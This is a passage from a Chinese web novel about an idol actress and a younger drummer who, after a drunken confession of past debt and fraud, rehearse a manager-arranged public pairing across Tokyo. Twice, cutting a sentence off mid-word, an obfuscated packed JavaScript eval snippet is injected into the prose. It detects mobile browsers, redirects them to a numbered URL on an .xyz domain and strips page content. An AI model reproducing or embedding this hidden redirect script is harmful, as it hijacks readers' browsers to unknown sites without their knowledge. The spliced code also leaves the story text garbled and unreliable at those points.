拽住自己肩头的睡衣,布料被攥紧,带了几分霸道的要求,眼神在醉意中透着一股执拗的好奇。林光佯装答应地握住她胡闹的手,那手指冰凉得惊人。冰凉的感觉顺着相触的皮肤传过来,像一根细小的针,刺破了林光心底那层刻意尘封的硬壳。一秒钟的心疼——或许是心疼星野此刻的状态,也或许是心疼当初那个在孤独和渴望认同中迷失了方向的自己——让她松了口。 “倒不如说,”林光的声音低沉下去,带着一种深沉的、近乎磨砂质感的沙哑,她没看星野,目光仿佛穿透了手中的啤酒杯,落在某个不堪回首的时空,“是我有了把柄落在大庭前辈手里。” 她停顿了一下,似乎在斟酌如何用尽量简单、不影响前辈现在已崩溃情绪的方式概括。 “大概三年前吧,有那么一位……一位家境非常优越的小姐,成濑蛍前辈您可能也听说过,是位模特。”林光的措辞保持着距离感,克制着心头回忆导致的强烈厌恶。“她当时表示很欣赏我,提出要……资助我的音乐活动,是一个看起来很不错的投资项目。” 观察着星野夜海的神色,对方似乎是知道这位曾经欺骗过她感情和金钱的女人,林光低着头,听觉被酒杯的泡沫溃散所夺取,只剩口中的喃喃细语, “刚入行不久的时候,我很多事想得太简单。以为是遇到了贵人,为了能更快地在日本站稳脚跟我信以为真,投入了全部积蓄,甚至……在她的建议下,通过一些渠道,筹措了一笔不小的资金。”林光的声音平稳,但“筹措”这个词用得轻描淡写,背后的高利贷阴影却隐约可见。“后来发现,那个项目并不属实。我试图去找她理论,结果那时才知道,她是个根本不缺钱的不动产商的女儿,骗我只不过是拿我消遣。而我一个人也根本斗不过她,” 她没有描述催债的具体细节,也没有渲染当时的恐惧和绝望,只是简单地说:“结果就是,背上了当时看来无法承担的债务。也……让家里人知道了。” “我其实有想过说拒绝……” “我不敢让事务所知道,那时刚好是上升期,公司给了我很多面试的资源希望我能抓住机会多栖发展。” 林光开始隐约感到不安,回忆里曾经试图拒绝某个过于冒险的“投资”步骤,或者想保留一点自己的创作自主权。记忆中成濑蛍脸上的温柔笑意瞬间消失,取而代之的是一种冰冷的、不耐烦的倨傲。“光,你不听话了。”她的声音依旧甜美,却带着毒刺,“我为你付出了这么多,为你规划了这么好的未来,不愿待在我身边,就死在这异乡吧!” “而顺从的代价是,我的一切——从音乐风格到穿什么衣服,见什么人,甚至……‘爱’谁,都必须由她来安排。她想要的,不是一个合作伙伴,甚至不是一个情人。她想要的,是一个完全属于她的、听话的宠物。” “一亿日元,我为了还债最多一天跑了六个场演出,没有能演的日子就去做家教跑外卖做兼职,口袋掏空也就只还上了几百万。” “最后是我的家人说可以帮我还清债务,只不过代价就是让我回国,再也不许做和音乐有关的任何事情。” “就像是从一个地狱跳进另一个地狱。” 疯狂的催债短信,住处的门口满是被红油漆写满的侮辱词语,被提心吊胆撕碎了的神经不知道是怎么撑过的那些日子。 “那时候,确实很困难。”林光轻轻呼出一口气,承认了当时的困境,但语气依旧是收敛的,“就在……已经对这世界心灰意冷时,很幸运地,我得到了大庭家的帮助。” 林光记得在自己破旧公寓的门口,衣着雍容、气质沉静的大庭夫人与周遭环境形成的鲜明对比,但她看向林光的眼神没有怜悯,只有一种沉静的洞察。 “她直接找到了我租住的破旧公寓。”林光的声音里第一次渗入一丝真实的暖意,虽然很淡,“她看着我,没有责备,没有怜悯得让人难堪,只有一种长辈的沉静。她说:‘你母亲当年,也是为了一份炽热的感情,不顾一切地跳进了未知。虽然结局唏嘘,但那奋不顾身的模样,我至今记得。你眼里的倔强和此刻的绝望,和她当年……很像。’” 林光停顿了一下,似乎在咀嚼那份迟来的、来自母亲旧友的“懂得”。 “然后,大庭夫人给出了一个方案,如同救赎一般,大庭家会替我解决所有债务,包括那些灰色借贷的本金和利息,合法的与不合法的,大庭家都会处理干净。作为交换,”林光看向星野,眼神坦荡,“我需要接受大庭家的安排——每时每刻陪伴在大庭前辈的身边,陪伴她度过属于她的最艰难的时期,直到医生确认她完全康复。” “澪那时候,甚至连我都不愿意见……为什么是你?”星野忍不住发问。 “我不知道,那时的我想不了那么多,但是大庭夫人说,只有念到我的名字时,躺在病床上的澪前辈才会有所反应。” 林光将杯中最后一点冰凉的酒液饮尽,那寒意似乎让她更加清醒。星野空望着她手中杯壁上凝结的水珠滑落,像无声的泪痕。 “还有什么想知道的?” “一亿……一天六场……跑外卖……”她无意识地重复这几个词,试图理解那是一种怎样的绝望和挣扎,与她所熟悉的世界相差太远。“……骗子……人渣……” “……但是……但是为什么……大家都这么辛苦……小春也是……我也是……你也是……”将林光的痛苦和自己失恋的痛苦混在一起,再次悲从中来。 客厅里陷入了一阵短暂的沉默。只有空调低沉的运行声和星野偶尔无法抑制的、酒精带来的抽气声。星野的话语像投入深潭的石子,涟漪过后,留下更深的寂静。星野呆呆地看着林光,醉意朦胧的眼睛里情绪复杂地翻涌,似乎想说什么,嘴唇翕动了几下,最终却只是化作一声含混的、带着浓重鼻音的叹息。她把自己更深地埋进沙发里,抱紧了膝盖,像个缺乏安全感的孩子。酒精和情绪的双重消耗让她眼皮沉重,但大脑却像塞满了棉花又夹杂着玻璃碴,混乱而刺痛,无法真正入睡。 林光看着她这副样子,知道今晚的“谈话”到此为止了。前辈需要的是休息,而不是更多的回忆或追问。她安静地站起身,将桌上的空酒瓶和狼藉的餐盒收走,动作轻柔,尽量不发出大的声响。她又去厨房倒了一杯温水,放在星野面前的茶几上。 “前辈,喝点水吧。如果累了,就在沙发上休息一会儿。”林光的语气是一贯的平静,带着恰到好处的关心,但也保持着后辈的距离感。 星野没有碰那杯水,只是模糊地“嗯”了一声,眼神空洞地望着空气中的某一点。 林光看了看时间,又看了看状态极差的星野。她下午补过觉,此刻确实毫无睡意,而且……被刚才的对话勾起了些思绪,也需要做点什么来让自己平静下来。 “我还有些工作需要处理,”她轻声对星野说,像是在解释自己接下来的行动,“是一些需要过目的视频素材。我就在房间,如果有任何需要我做的,可以随时叫我。” 这既是告知,也是一种体贴——给星野留下独处的空间,如果她想继续待在客厅的话。 星野似乎没太听清,或者说没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403822|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在意,只是又含糊地应了一声。 林光不再多说,转身走进了自己的房间,轻轻带上了门,但没有完全关严,留了一条缝隙,以便能听到外面的动静。 房间里的书桌上,笔记本电脑还闪烁着待机的光。林光打开它,屏幕的光亮在昏暗的房间里映亮她的脸庞。按亮台灯,她插上耳机戴上一边,点开乐队经纪人之前发来的、需要她初步筛选的录音室花絮视频片段。工作,是让她从复杂情绪中抽离出来的最好方式。 时间静静流淌。客厅里许久没有动静。 不知过了多久,林光的房门被轻轻推开了一条更大的缝隙。 星野夜海倚在门框上,脸颊依旧酡红,眼神迷离,带着一种醉后的固执和……一丝不易察觉的、害怕被拒绝的忐忑。她显然还是无法入睡,客厅的寂静和孤独感在酒精的放大下变得难以忍受。 “我……”她的声音沙哑,找着一个又一个蹩脚的借口,“……有点冷。客厅空调……好像不太对劲,一会儿冷一会儿热的,你现在……很忙吗?” 她根本没在意视频内容是什么,只是潜意识里不想一个人待着,贪恋着这个空间里仅有的一点“人气”,尤其是……这个刚刚对她袒露过一部分真实伤疤的、此刻显得异常可靠的后辈的存在。 林光似乎愣了一下,从电脑屏幕前抬起头。她看着门口站着的、显得有些局促和可怜的星野前辈,沉默了几秒。她大概看出了对方借口下的真实意图,但没有戳破。 “……不忙。”林光最终点了点头,语气依旧平静。她挪动了一下椅子,让出一点空间,“您坐这边吧,外套可以挂我的椅背上,或许您可以帮我给这些剪辑的片段一点不一样的建议。” 星野像是得到了某种许可,脚步有些虚浮地走进来,几乎是立刻就把自己陷进了林光书桌旁那张看起来确实很舒适羽绒被中。她蜷缩起来,抱着膝盖,目光并没有真正聚焦在电脑屏幕上,只是茫然地看着那闪烁的光影和林光专注的侧脸。 耳机里微弱的视频声音、键盘偶尔的敲击声、身边人平稳的呼吸……这些细微的、规律的声音像一种催眠的白噪音。酒精的后劲彻底上来,之前高度紧张的情绪在相对安全的环境里逐渐松弛。 林光专注于屏幕上的画面,偶尔用笔记录下时间点。她能感觉到星野的视线不在电脑上,但选择忽略,给她保留最后的体面。 渐渐地,那注视的目光消失了,取而代之的是变得均匀而绵长的呼吸声。 林光从屏幕前微微侧过头,发现星野夜海不知何时已经歪着头,靠在自己的椅子上,彻底睡着了。浓密的睫毛在眼睑下投下安静的阴影,即使睡梦中,眉头似乎还微微蹙着,但那份醒时的痛苦和焦躁已经淡化,取而代之的是一种极度疲惫后的沉静。她看起来比平时舞台上那个光芒四射的星野要脆弱得多,也真实得多。 林光停下了手中的工作,静静看了几秒。 她轻轻叹了口气,动作极轻地站起身,从床上捡起自己的羽绒被,小心翼翼地把星野扶到床上,将被子一直盖到下巴,避免吵醒她。 然后,她回到电脑前,将屏幕亮度调暗,熄灭了台灯戴上两边耳机,继续安静地工作。屏幕的微光笼罩着她,也隐约照亮了身边陷入沉睡的人。 这个夜晚,最终以一种意想不到的方式安静下来。一个在工作的微光中保持清醒,一个在疲惫和酒精中终于沉入睡眠。她们共享着同一个安静的空间,空气里弥漫着未散的淡淡酒气、电脑键盘的微热、以及一种难以言喻的、介于疏离与陪伴之间的微妙氛围。 10. 营业练习(1) 最先苏醒的是嗅觉。 一丝清甜的米香,混合着极淡的蜂蜜味道,若有若无地飘散在空气里,试图覆盖掉昨夜残留的酒气。 星野夜海是在一阵剧烈而熟悉的头痛中挣扎着恢复意识的。眼皮沉重得像被粘住,每一次心跳都仿佛敲打在太阳穴上,带来一阵阵钝痛。她花了点时间才辨认出头顶陌生的天花板轮廓,以及身上覆盖的、带着淡淡皂角清香的羽绒被——这不是她的被子。 记忆如同断续的黑白胶片,猛地闪回脑海:冰冷的清酒瓶、林光沉静的侧脸、自己失控的哭泣、那些关于巨额债务和欺骗的碎片化叙述、最后是……电脑屏幕的光,和一种令人安心的、规律的键盘敲击声…… 她猛地从床上坐起! 动作太快,一阵眩晕和恶心瞬间袭来,让她不得不扶住额头,难受地闭紧了眼睛。几秒后,她才缓缓睁开眼,彻底看清了自己所处的环境——简洁、整齐,书桌上还放着亮着待机灯的笔记本电脑。 这是林光的房间。自己睡在了林光的床上。 这个认知让星野的脸颊瞬间烧了起来,混合着宿醉的难受和一种巨大的、迟来的羞耻感。她昨晚都干了些什么?抱着人哭得稀里哗啦?逼问对方的隐私?最后还霸占了别人的床? 她下意识地环顾四周,房间里醒着的只有她一个人。清晨的阳光透过窗帘缝隙,在地板上投下一道狭长的光带。 床头柜上,放着一杯水,摸上去是温的。杯子下面压着一张便利贴。 星野忍着头痛拿起它。上面是一行干净利落的字迹,一如写字的人: 「前辈:我大约五点多睡下。如需补觉,请自便。如需用餐,厨房有温着的粥。不要叫醒我。 ——林光」 纸条的右下角还简单画了一个箭头,指向杯子的方向。 “勿扰为感”……真是客气又疏离的用词。但一杯温水,和温着的粥,却又在无声地诉说着另一种程度的细心。 星野握着那张便利贴,心情复杂得要命。她喝光了那杯温水,干渴刺痛的喉咙得到了一丝缓解。她轻手轻脚地下了床,尽量不发出任何声音,仿佛怕惊扰了一旁可能还在熟睡的人。 她推开卧室门,客厅的景象让她愣了一下。 昨晚的一片狼藉早已消失无踪。空酒瓶、餐盒、所有污渍都被清理干净了。地板光洁,茶几被擦拭得一尘不染,甚至连沙发上的靠垫都被摆放得整整齐齐。空气中只有淡淡的清洁剂味道和从厨房飘来的米香。 一切都恢复了秩序,仿佛昨夜那场疯狂的崩溃只是一场幻觉。 只有她依旧抽痛的额头和混沌的大脑,在固执地证明着那些真实发生过的眼泪和倾诉。 她蹑手蹑脚地回到林光的卧室门外,门紧闭着。她屏住呼吸,侧耳倾听,里面没有任何动静。 一种混合着愧疚、尴尬、感激和莫名无措的情绪包裹了她。她站在原地愣了几秒,最终决定听从纸条上的建议,先去厨房看看。 电饭煲亮着保温灯,打开盖子,里面是熬得软糯香稠的白粥。旁边的小碟子里放着几样清淡的小菜,还有一小罐蜂蜜。 星野默默地看着这一切,心里某个地方像是被这无声的、妥帖的照顾轻轻戳了一下。她盛了一碗粥,坐在异常安静的客厅里,小口小口地吃着。粥的温度恰到好处,温暖了她因为酒精而冰冷的胃,却也让她更加清晰地意识到,自己昨晚在这个比自己年纪小的后辈面前,是何等的失态。 “唉,感觉被看光了……” 米粒煲得颗颗软烂,星野很少在早上喝粥这种食物,进食带来的轻松没能持续多久。几乎是同时,公寓的门铃尖锐地响了起来,打破了清晨的宁静。 星野被吓了一跳,手里的勺子差点掉进碗里。她第一反应是惊慌地看向林光的卧室门——幸好,里面没有任何被惊动的迹象。她赶紧放下碗勺,几乎是踮着脚尖冲到玄关,透过猫眼向外看。 经纪人山倉幸子干练而略带严肃的脸出现在视野里。 星野的心猛地一沉。完了。是来兴师问罪的吧?因为昨天的失态?还是因为和加藤的事情有了新的麻烦?她手忙脚乱地整理了一下自己睡皱的睡衣和乱糟糟的头发,深吸一口气,打开了门。 “幸子小姐,早上好……”她的声音因为宿醉和紧张而有些沙哑。 山倉幸子穿着一身利落的西装套裙,一只手拿着一个厚厚的文件夹,另一只手提着两个高级超市的纸袋,里面装着新鲜的水果、酸奶和全麦面包。她锐利的目光快速扫过星野明显睡眠不足、带着宿醉痕迹的脸,眉头几不可察地蹙了一下,但又仿佛司空见惯。 ““早上好,夜海。”幸子的语气平静无波,很自然地侧身进门,仿佛回自己家一样熟练地将纸袋放在玄关柜上,“打你电话没人接。给你带了点吃的,宿醉后吃这些会舒服点。”她锐利的目光快速扫过星野明显睡眠不足、带着宿醉痕迹的脸,以及异常整洁的客厅,眉头几不可察地动了一下——这显然不是酒醉后星野的风格。 她的视线随后精准地落在餐桌上那碗吃了一半的粥和旁边的小菜上,眼神微微缓和:“吃了就好。但光喝粥不行,袋子里有酸奶和新鲜水果,等下吃完。” 幸子径直走向开放式厨房,一边打开冰箱检查,一边用那种惯常的、不容置疑的语气说道:“牛奶明天到期,我给你处理了。鸡蛋也快没了,下午会有人补货过来。你常吃的那家bakery的可颂,我也让人一会儿送过来。” 她合上冰箱门,转身靠在料理台上,这才将目光重新投向惴惴不安的星野,语气转而带上了一种深沉的疲惫与严肃:“好了,现在来说说正事。媒体那边,暂时算是压下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403823|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。” 星野的心揪紧了,低下头。 幸子看着她,继续说道,声音不高,却每个字都砸在星野心上:“动用了我几乎所有的人脉和面子。加藤家那边很难缠,他们想把‘疑似恋情’直接操作成我们单方面的‘恶意炒作’,想彻底把你钉死。” 她顿了顿,目光如炬:“我告诉他们,Collector事务所的艺人,轮不到别人来审判。十二年,我带你十二年,你是什么样的人,我比谁都清楚。你不是为了那点热度就会不择手段的人。” 这句话像一把钥匙,瞬间打开了星野情绪的闸门。她的眼圈红了,声音哽咽:“幸子小姐……对不起……我又给你添了这么大的麻烦……我……” “停。”幸子果断地打断她,抽了张纸巾递过去,“现在不是自责的时候。眼泪擦掉。我签下你的时候你才多大?这些年来,你惹的麻烦、掉的眼泪,哪一次不是我帮你收拾的?”这话听起来像责备,却透着一种“认命”般的亲密羁绊。 “但夜海,”她的语气变得极其沉重,“这次是最后一次了。我不能再看着你为了一段感情,把自己经营了这么多年的一切都赌上去,差点输得精光。你明白吗?” 星野用力点头。 幸子这才切入她此行的核心目的:“公司和我的态度很明确。否认到底,然后用新的、积极的焦点覆盖掉旧的。所以,你和井上光的‘营业’,不是可选项,是经过讨论的唯一救命方案。”她提到林光,语气稍微缓和,“那孩子我看着比同龄人稳重。和她捆绑,是目前对你伤害最小的方法。” 她从文件夹里抽出几份文件:“这就是公司与林光小姐签署‘营业’合约的核心目的。从今天开始,直到我通知结束,你们两位将是事务所主推的‘工作伙伴’及‘好友’关系。所有的公开互动,都必须服务于这个目标。” “公司为你们争取到了一个更好的机会——《Stage&Rhythm》杂志的独家专访和内页拍摄。” 星野微微一怔。这本杂志在演艺和音乐交叉领域颇有分量,专注于舞台表演与音乐人的深度对话,格调很高。 “主题已经敲定:‘从舞台到鼓点:表演与节奏的跨界对话’。这非常贴合你们两人现在的身份——顶尖的舞台剧演员和实力派乐队鼓手。”幸子解释道,手指点着企划书上的关键点。“采访的内容包括但不限于有些相关的舞台专业问题、关于你们俩相遇与为彼此带来的启发,以及你们之间的惺惺相惜的默契与欣赏,这些请在采访之前做好功课。” “…尤其是谈到‘表演’和‘节奏’时,你必须给出有见地、有内容的回答…”山倉幸子严厉的话语在安静的客厅里显得格外清晰。 就在这时,“咔哒”一声轻微的开门声打断了她的训示。 客厅里的两人同时循声望去。 11. 营业练习(2) 林光卧室的门被推开了一半。她站在那里,身上还是昨晚那套简单的棉质睡衣,头发比平时更加蓬松凌乱,几根发丝不听话地翘着。她脸上带着被强行从短暂睡眠中拽出的懵懂,眼底有着无法掩饰的倦意和淡淡的青影,整个人像是被抽走了精气神,反应都慢半拍。她似乎是听到外面的谈话声,下意识地走出来查看,当看到客厅里的景象——眼眶发红的星野,以及西装革履、表情严肃的经纪人山倉幸子时,林光显然愣了一下,睡意被惊醒了大半,下意识地想退回房间。 “井上小姐,你醒了正好。”山倉幸子反应极快,立刻叫住了她。她的目光在林光明显缺觉的脸上停留了一秒,那眼神锐利依旧,却似乎比看星野时多了一丝不同的考量——像是评估一件需要小心使用的精密仪器。“我正在和夜海沟通接下来几天的工作安排,涉及到你们两人的部分,你也需要了解一下。” 星野夜海的心跳莫名漏了一拍。她看着林光那副刚睡醒、毫无防备的样子,再对比幸子小姐一丝不苟的职业装和自己狼狈的睡衣,一种强烈的尴尬和“被撞破”的感觉涌上来。她下意识地蜷缩了一下脚趾,恨不得找个地缝钻进去。尤其是,林光此刻的疲惫很大程度上是因为自己昨晚的折腾。 林光闻言,停住了脚步。她轻轻带上门,但没有立刻走过来,而是先抬手用力按了按自己的太阳穴,仿佛这样能驱散一些昏沉。然后她才从餐桌旁搬了凳子,在茶几对面稍远的地方坐下,微微颔首,声音带着刚睡醒的微哑和努力维持的平静:“好的,山倉小姐。请说。”她能感觉到自己的大脑像生了锈的齿轮,运转缓慢,但仍在强迫自己集中注意力。 幸子小姐言简意赅地将《Stage&Rhythm》杂志采访拍摄的主题、核心内容和要求向林光复述了一遍,也再次重点强调了专业性的展现和两人互动时需要营造的“默契与欣赏”感。她的语速平稳,条理清晰,没有任何多余的废话。 林光安静地听着,偶尔因为困倦而眼神飘忽一瞬,但很快又强迫自己聚焦,轻轻点头表示明白。她的目光偶尔会扫过坐在沙发上、显得异常局促的星野,但并没有过多停留。 “大致情况就是这样。”幸子小姐总结道,然后看向林光,语气比对待星野时稍微缓和些,但依旧专业,“井上小姐,音乐专业方面的阐述是你的强项,我相信你能处理好。需要注意的是和夜海的互动,在镜头前要放松、自然,展现出你们在专业领域彼此启发的那种状态。”她特意放缓了语速,似乎是在照顾林光此刻的精神状态。“具体的一些注意事项和问题清单,我稍后邮件发给你。你可以……稍晚些再看。” “我明白了,谢谢山倉小姐,我会仔细阅读并准备的。”林光的回答清晰利落。 交代完一切,幸子拿起包走向门口。换鞋时,她最后回头看了一眼眼眶依旧发红的星野,和坐在对面努力对抗睡意、却依旧挺直背脊的林光,语气终于软化到极致,像一声叹息: “都好好休息。天塌不下来,有我在。” 她走到玄关,穿上高跟鞋,打开门,最后留下一句:“期待你们的表现。”然后便像一阵风一样离开了公寓。 公寓门“咔”的一声轻响关上,将内外隔绝成两个世界。 客厅里瞬间陷入一种微妙的寂静。 只剩下星野夜海和林光两个人。一个穿着睡衣坐在乱糟糟的沙发里,一个穿着睡衣坐在对面刚被工作砸醒。空气中漂浮着经纪人留下的工作压力、未散的早餐粥香,以及一种无所适从的尴尬。 星野张了张嘴,想说点什么——为昨晚的事道谢?为吵醒她道歉?为突然砸下来的工作表示无奈?但所有话都堵在喉咙里,最后只化成一句干巴巴的: “……你醒了?粥……还在锅里温着,幸子小姐带了很多吃的,你可以去……” 林光沉默了几秒,才轻轻“嗯”了一声。她抬手略显随意地整理了一下睡乱的头发,这个动作让她看起来比平时更接地气,也更脆弱。 “听到了一些。”她低声说,像是自言自语,又像是在对星野解释自己为什么会出来,“工作的事情,还有经纪人和你对账什么的……。” 她没有看星野,目光落在空处,似乎还在消化刚接收到的信息和自己残存的睡意。然后,她轻声说:“我觉得……事情或许没有幸子小姐描述的那么可怕。” 她停顿了一下,目光落在星野仍然有些苍白的脸上,继续说道,“舆论总是寻找新的焦点。把专业的工作做好,新的形象立住了,旧的印象自然会慢慢淡化。” 说完,她便转身,径直走向了卫生间,轻轻关上了门。 留下星野一个人蜷在沙发里,听着卫生间里隐约传来的水声,心里乱糟糟的,既有面对未知工作的压力,也有一种难以言喻的、因为林光刚刚那副与平日截然不同的苏醒模样而带来的微妙悸动。 她是在安慰我吗? 阳光已经变得明亮,透过窗户洒在清理干净的客厅里。星野夜海坐在化妆镜前试图用轻柔的底妆掩盖宿醉的疲惫,但眼底的细微红血丝依然若隐若现。等她收拾完毕,林光也从房间出来了,她同样换下了睡衣,换了单衣的她头发整齐地束在脑后,恢复了平日的清冷感。她手里拿着山倉幸子留下的那两个活页夹。 “星野前辈,”她开口,声音平静,“山倉小姐留下的资料,我认为我们需要过一遍,你今天有空吗?”她顿了顿,补充道,“公寓里……可能不是特别适合工作。我知道表参道附近有一家不错的咖啡馆,不会被人打扰,你觉得怎么样?” 这听起来完全像一个出于工作效率考虑的、无可挑剔的建议,星野恨透了刚才房间里令人窒息的沉默,立刻点头:“好,好的,那换身衣服我们现在就出门?” “好,稍等。” 星野换好衣服从房间里出来的时候,林光正在往一个黑色的机能风背包里装要带走的文件,她穿的军绿色派克服看起来面料硬挺,底下搭配的黑色美利奴半领羊毛衫随着动作将好看的锁骨若隐若现在星野的视线中。听见星野房门的动静,林光转身,星野穿着及膝燕麦色的羊绒大衣,栗色的浅灰色针织衫的领口,是一条纤细的铂金项链, “前辈的文件我整理在这边了,你不背包的话,可以都放在我的包里。” “不用不用。”星野转过身,一个校园风十足的双肩包冲着林光敞开,“谢谢小后辈。” 乘着林光的黑色机车,她们没有选择喧闹的主干道,而是拐进了南青山旁一条种满榉树的小巷。林光推荐的CaféKitsuné就隐藏在这里,白色的外墙,巨大的落地窗,室内是原木与金属混合的日式现代风格,空气中弥漫着优质咖啡豆和新鲜烘焙糕点的香气,背景音乐是悦动感十足的法国电子乐。或许是因为圣诞前后的关系,本应该客稀的早上,店里的好位置也被占了大半,她们选了最后一个靠窗的角落位置坐下,阳光透过百叶窗在地板上切割出明暗交错的光带。 “前辈好像,不是很喜欢喝甜的是吗?”帆布围裙的店员站在二人落座的餐桌前,林光的目光扫过菜单,“用这家店清爽柠檬特饮来开启这一天或许是个不错的选择?” “啊……好、好的。就听你的。”被后辈如此自然又精准地说出自己的喜好,星野还来不及脸红,便迅速翻 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“比如……”星野的脸藏在活页的背后,“因为要看的台本和剧本太多,忘记把买回家的雪糕放进冰箱……之类的。工作方面的话,大概就是忘记幸子让我什么时候发工作推文吧。” “原来如此。”林光点点头,没有坚持,目光继续下移:“擅长模仿,能演奏多种乐器……比如?”她适时地流露出一点恰到好处的好奇,让问题不那么像盘问。 “嗯……钢琴、吉他算是能弹一些简单的曲子,小提琴只会拉一点点……”星野稍微放松下来,用小勺轻轻搅动着茶水,“都是以前为了些漫改的音乐舞台剧角色学的,不是很精通的。” “很厉害。”林光真诚地评价了一句,然后翻到“喜好”一栏,念出声,“不爱甜口,爱吃酸味的东西,喜欢梅子,喜欢可爱动物,放松时玩音游但……嗯。”她适时地停住了“很菜”两个字,只是抬起眼看了看星野。 星野恨不得把脸埋进印着狐狸logo的茶杯里:“……那次是意外!在节目上打《太鼓达人》的鬼级难度根本就是反人类!” 轮到星野了。她有些紧张地翻开林光的资料本,深吸一口气,开始“提问”: “林光小姐……资料上说,你握鼓棒用的是……爵士握法?我听说很少人还在用这种握法打鼓。”她挑了一个看起来最安全专业的问题。 “那时我的老师授课的时候问有没有人想学,10个人里面只有我一个人举了手。”林光伸出手,虚空做了个手指夹鼓棒的姿势,“但我其实两种都擅长,只不过会更喜欢那样的表演风格。” “真好啊,每次我想认真学乐器,都会止步于入门后的进阶。”星野看着墙壁上的小狐狸失神,“我好像……一直都很忙。” 对话就这样慢慢展开。她们一边喝着无咖啡因的茶,一边像核对工作清单一样,将资料上的条目一条条转化为略带尴尬却又忍不住笑出声的对话。冰冷的文字渐渐变成了对眼前这个活生生的人的具体认知。 喝完茶,林光合上活页夹:“差不多就这些了。” 星野看着窗外小巷里走过的穿着时髦的行人,以及远处若隐若现明治神宫的森林,忽然生出一股勇气,脱口而出:“那个……资料上说,你也很喜欢动物,代代木公园好像有个很大的狗狗广场……要不要……去看看?”她立刻补充,“就当是……休息日的一点点临时工作?离这里也很近。” 林光看了她一眼,似乎觉得这个提议有点天马行空,但并没有露出厌恶的表情,“可以,上车吧。” 12. 营业练习(3) 穿过郁郁葱葱、散发着植物清香的代代木公园,很快就听到了欢快的狗吠声和人们的笑语。狗狗广场上,各种体型的狗狗在撒欢奔跑,主人们则站在一旁闲聊。空气中混合着青草、泥土和……嗯,一点点阳光晒过的狗狗皮毛的味道。 星野几乎立刻就被吸引住了,隔着围栏看着一只金色的拉布拉多追着球跑过,脸上露出了今天第一个真正算得上轻松的笑容。“啊!是黄金巡回犬!毛色好漂亮……好想摸摸看……但是工作太忙了,根本没法养……”她小声嘟囔,语气里满是羡慕。 林光站在她身边,目光也被那些活泼的生命所吸引。她的姿态似乎比平时放松了些许。当一只边牧突然加速从她们面前跑过,带起一阵风时,林光的头不自觉地微微偏向一边,视线追随着那道迅捷的身影,眼神里流露出一种纯粹的、近乎本能的好奇——像极了狗狗看到移动物体时那种专注追踪的模样。 一只热情的小柴犬跑到栅栏边,对着她们“汪汪”叫了两声。星野笑着蹲下去逗它。而林光,她的鼻子几不可察地微微动了一下,仿佛在无意识间捕捉着空气中混杂的、来自不同狗狗的独特气味信息。当她看到那只柴犬因为够不到星野的手而着急地原地转圈时,她的嘴角轻轻向上扯动了一下,形成一个极短暂、却异常柔软的弧度,类似于狗狗感到有趣时那种微微咧开嘴的表情。 “它好像很喜欢你。”林光轻声说,目光依然看着那只小柴犬。 “是啊!我也想有这样一只随叫随到的伙伴。”星野的语气不无遗憾。 这时,远处传来一阵清脆的摇铃声,似乎是某个训犬师在召唤自己的狗。林光的脖颈几乎是下意识地、非常轻微地向声音来源的方向伸长了一点,耳朵似乎也微微动了动,侧耳倾听姿态一闪即逝,快得几乎让人以为是错觉,却恰好被转过头来的星野捕捉到了。 星野眨了眨眼,觉得林光刚才那个瞬间的神态……有点说不出的熟悉和可爱,但她没有说破,只是笑容更深了些。 公园的长椅上,林光看着星野终于略显疲惫地从狗狗包围中脱身,额角带着细密的汗珠,嘴角却挂着许久未见的、轻松而真实的弧度。星野走到林光身边坐下,自然地拿起之前喝了一半的矿泉水。 “累了?”林光递过一张纸巾。 “嗯,但很开心。”星野擦着汗,长舒一口气,望着远处还在嬉闹的狗和主人,眼神变得有些悠远,“有时候觉得,和它们相处比和人相处简单多了。” 林光点点头,表示理解。短暂的沉默降临,只有远处传来的欢快犬吠和风声。 “你愿意的话,或许我们可以去租一条小狗,陪我们在公园里打发这个下午。” 忽然,星野像是下了什么决心,转过头看向林光,眼神里闪烁着一种试探性的、带着些许分享欲的光芒。 “喂,”她用胳膊轻轻碰了碰林光,“带你去个地方。” “嗯?哪里?”林光有些意外,今天的行程似乎原本只到公园为止。 “你知道品川水族馆怎么走吗?” “港区的路……不难走。” “那里是我的‘秘密基地’。” 林光的心微微一动。她意识到,这不仅仅是一次普通的邀约。分享一个“秘密基地”,对于刚刚经历情感重创、且看似拥有众多朋友实则可能极度孤独的星野来说,或许是一种无声的信任和靠近。 “好。”林光没有多问,只是干脆地答应下来,站起身,“走吧。” 机车再次发动,朝着品川的方向驶去。这次,一路上的气氛安静了许多,只有引擎和风声在耳边呼啸。后座的星野异常沉默,仿佛沉浸在自己的世界里,与刚才在狗狗公园里开怀大笑的她判若两人。林光只是专注地驾驶着,没有试图用言语打破这片沉默。 绕过几个街角,那座熟悉的蓝色基调建筑映入星野眼帘时,她周身的气息都仿佛变得柔和而宁静了。她甚至下意识地加快了脚步,像个迫不及待要与老朋友分享喜悦的孩子。 “就是这里了。”星野在水族馆入口前停下脚步,声音里带着一种回到舒适区的安然,她看向林光,眼神清澈,“我大概……是这里的年卡用户里,来得最频繁的一个了。”这样说,她会觉得我奇怪吗?一个总是一个人泡在水族馆的大人。 